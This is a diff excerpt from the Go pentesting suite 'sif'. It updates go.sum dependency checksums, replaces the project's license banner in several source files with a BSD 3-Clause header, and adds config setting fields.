github.com/klauspost/compress v1.16.7 h1:2mk3MPGNzKyxErAw8YaohYh69+pa4sIQSC0fPGCFR9I=
|
||||
github.com/klauspost/compress v1.16.7/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
|
||||
github.com/klauspost/compress v1.17.4 h1:Ej5ixsIri7BrIjBkRZLTo6ghwrEtHFk7ijlczPW4fZ4=
|
||||
github.com/klauspost/compress v1.17.4/go.mod h1:/dCuZOvVtNoHsyb+cuJD3itjs3NbnF6KH9zAO4BDxPM=
|
||||
github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
|
||||
github.com/klauspost/cpuid/v2 v2.0.12/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c=
|
||||
github.com/klauspost/cpuid/v2 v2.2.5 h1:0E5MSMDEoAulmXNFquVs//DdoomxaoTY1kUhbc/qbZg=
|
||||
@@ -349,8 +345,8 @@ github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+W
|
||||
github.com/onsi/ginkgo v1.16.4 h1:29JGrr5oVBm5ulCWet69zQkzWipVXIol6ygQUe/EzNc=
|
||||
github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0=
|
||||
github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
|
||||
github.com/onsi/gomega v1.27.6 h1:ENqfyGeS5AX/rlXDd/ETokDz93u0YufY1Pgxuy/PvWE=
|
||||
github.com/onsi/gomega v1.27.6/go.mod h1:PIQNjfQwkP3aQAH7lf7j87O/5FiNr+ZR8+ipb+qQlhg=
|
||||
github.com/onsi/gomega v1.16.0 h1:6gjqkI8iiRHMvdccRJM8rVKjCWk6ZIm6FTm3ddIe4/c=
|
||||
github.com/onsi/gomega v1.16.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY=
|
||||
github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk=
|
||||
github.com/pierrec/lz4 v2.6.1+incompatible h1:9UY3+iC23yxF0UfGaYrGplQ+79Rg+h/q9FV9ix19jjM=
|
||||
github.com/pierrec/lz4 v2.6.1+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=
|
||||
@@ -421,10 +417,8 @@ github.com/projectdiscovery/utils v0.1.1/go.mod h1:EPuSvVIvp61nXJD5EO65vaCv82Ouh
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.4 h1:eZoESapnMw6WAHiVgRwNqvbJEfNHEH148uthhFbG5jE=
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.4/go.mod h1:8PIPRcUD55UbtQdcfFR1hpIGRWG0P7alClXNGt1TBik=
|
||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
||||
github.com/quic-go/quic-go v0.48.2 h1:wsKXZPeGWpMpCGSWqOcqpW2wZYic/8T3aqiOID0/KWE=
|
||||
github.com/quic-go/quic-go v0.48.2/go.mod h1:yBgs3rWBOADpga7F+jJsb6Ybg1LSYiQvwWlLX+/6HMs=
|
||||
github.com/refraction-networking/utls v1.5.4 h1:9k6EO2b8TaOGsQ7Pl7p9w6PUhx18/ZCeT0WNTZ7Uw4o=
|
||||
github.com/refraction-networking/utls v1.5.4/go.mod h1:SPuDbBmgLGp8s+HLNc83FuavwZCFoMmExj+ltUHiHUw=
|
||||
github.com/refraction-networking/utls v1.8.1 h1:yNY1kapmQU8JeM1sSw2H2asfTIwWxIkrMJI0pRUOCAo=
|
||||
github.com/refraction-networking/utls v1.8.1/go.mod h1:jkSOEkLqn+S/jtpEHPOsVv/4V4EVnelwbMQl4vCWXAM=
|
||||
github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E=
|
||||
github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo=
|
||||
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
@@ -433,8 +427,8 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
|
||||
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/rocketlaunchr/google-search v1.1.6 h1:DcSluQWDWEMqo6jp6OGllMTI9SBECpSmUZFntAX4j/o=
|
||||
github.com/rocketlaunchr/google-search v1.1.6/go.mod h1:fk5J/qPpaRDjLWdFxT+dmuiqG7kxXArC7K8A+gj88Nk=
|
||||
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
|
||||
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
|
||||
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
|
||||
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
|
||||
github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc=
|
||||
github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
|
||||
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
|
||||
@@ -477,8 +471,8 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
|
||||
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE=
|
||||
github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ=
|
||||
github.com/temoto/robotstxt v1.1.1/go.mod h1:+1AmkuG3IYkh1kv0d2qEB9Le88ehNO0zwOr3ujewlOo=
|
||||
@@ -516,8 +510,8 @@ github.com/trivago/tgo v1.0.7 h1:uaWH/XIy9aWYWpjm2CU3RpcqZXmX2ysQ9/Go+d9gyrM=
|
||||
github.com/trivago/tgo v1.0.7/go.mod h1:w4dpD+3tzNIIiIfkWWa85w5/B77tlvdZckQ+6PkFnhc=
|
||||
github.com/ulikunitz/xz v0.5.8/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/ulikunitz/xz v0.5.9/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8=
|
||||
github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY=
|
||||
github.com/ulikunitz/xz v0.5.15/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
|
||||
github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
|
||||
github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo=
|
||||
@@ -599,8 +593,8 @@ golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5y
|
||||
golang.org/x/crypto v0.0.0-20211209193657-4570a0811e8b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||
golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU=
|
||||
golang.org/x/crypto v0.26.0 h1:RrRspgV4mU+YwB4FYnuBoKsUapNIL5cohGAmSH3azsw=
|
||||
golang.org/x/crypto v0.26.0/go.mod h1:GY7jblb9wI+FOo5y8/S2oY4zWP07AkOJ4+jxCqdqn54=
|
||||
golang.org/x/crypto v0.46.0 h1:cKRW/pmt1pKAfetfu+RCEvjvZkA9RimPbh7bhFjGVBU=
|
||||
golang.org/x/crypto v0.46.0/go.mod h1:Evb/oLKmMraqjZ2iQTwDwvCtJkczlDuTmdJXoZVzqU0=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 h1:vr/HnozRka3pE4EsMEg1lgkXJkTFJCVUX+S/ZT6wYzM=
|
||||
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842/go.mod h1:XtvwrStGgqGPLc4cjQfWqZHG1YFdYs6swckp8vpsjnc=
|
||||
@@ -610,8 +604,8 @@ golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHl
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
|
||||
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/mod v0.30.0 h1:fDEXFVZ/fmCKProc/yAXXUijritrDzahmwwefnjoPFk=
|
||||
golang.org/x/mod v0.30.0/go.mod h1:lAsf5O2EvJeSFMiBxXDki7sCgAxEUcZHXoXMKT4GJKc=
|
||||
golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -641,20 +635,20 @@ golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=
|
||||
golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns=
|
||||
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
|
||||
golang.org/x/net v0.28.0 h1:a9JDOJc5GMUJ0+UDqmLT86WiEy7iWyIhz8gz8E4e5hE=
|
||||
golang.org/x/net v0.28.0/go.mod h1:yqtgsTWOOnlGLG9GFRrK3++bGOUEkNBoHZc8MEDWPNg=
|
||||
golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU=
|
||||
golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I=
|
||||
golang.org/x/oauth2 v0.11.0 h1:vPL4xzxBM4niKCW6g9whtaWVXTJf1U5e4aZxxFx/gbU=
|
||||
golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk=
|
||||
golang.org/x/oauth2 v0.34.0 h1:hqK/t4AKgbqWkdkcAeI8XLmbK+4m4G5YeQRrmiotGlw=
|
||||
golang.org/x/oauth2 v0.34.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
|
||||
golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||
golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
|
||||
golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -688,8 +682,8 @@ golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.23.0 h1:YfKFowiIMvtgl1UERQoTPPToxltDeZfbj4H7dVUCwmM=
|
||||
golang.org/x/sys v0.23.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.39.0 h1:CvCKL8MeisomCi6qNZ+wbb0DN9E5AATixKsvNtMoMFk=
|
||||
golang.org/x/sys v0.39.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
@@ -699,8 +693,8 @@ golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
|
||||
golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/term v0.23.0 h1:F6D4vR+EHoL9/sWAWgAR1H2DcHr4PareCbAaCo1RpuU=
|
||||
golang.org/x/term v0.23.0/go.mod h1:DgV24QBUrK6jhZXl+20l6UWznPlwAHm1Q1mGHtydmSk=
|
||||
golang.org/x/term v0.38.0 h1:PQ5pkm/rLO6HnxFR7N2lJHOZX6Kez5Y1gDSJla6jo7Q=
|
||||
golang.org/x/term v0.38.0/go.mod h1:bSEAKrOT1W+VSu9TSCMtoGEOUcKxOKgl3LE5QEF/xVg=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
@@ -711,8 +705,8 @@ golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.17.0 h1:XtiM5bkSOt+ewxlOE/aE/AKEHibwj/6gvWMl9Rsh0Qc=
|
||||
golang.org/x/text v0.17.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
|
||||
golang.org/x/text v0.32.0 h1:ZD01bjUt1FQ9WJ0ClOL5vxgxOI/sVCNgX1YtKwcY0mU=
|
||||
golang.org/x/text v0.32.0/go.mod h1:o/rUWzghvpD5TXrTIBuJU77MTaN0ljMWE47kxGJQ7jY=
|
||||
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
|
||||
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
|
||||
@@ -727,8 +721,8 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
|
||||
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=
|
||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
|
||||
golang.org/x/tools v0.39.0 h1:ik4ho21kwuQln40uelmciQPp9SipgNDdrafrYA4TmQQ=
|
||||
golang.org/x/tools v0.39.0/go.mod h1:JnefbkDPyD8UU2kI5fuf8ZX4/yUeh9W877ZeBONxUqQ=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
|
||||
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package format
|
||||
|
||||
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package templates
|
||||
|
||||
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// Package styles provides custom styling options for the SIF tool's console output.
|
||||
|
||||
+17
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package config
|
||||
@@ -53,6 +41,10 @@ type Settings struct {
|
||||
Headers bool
|
||||
CloudStorage bool
|
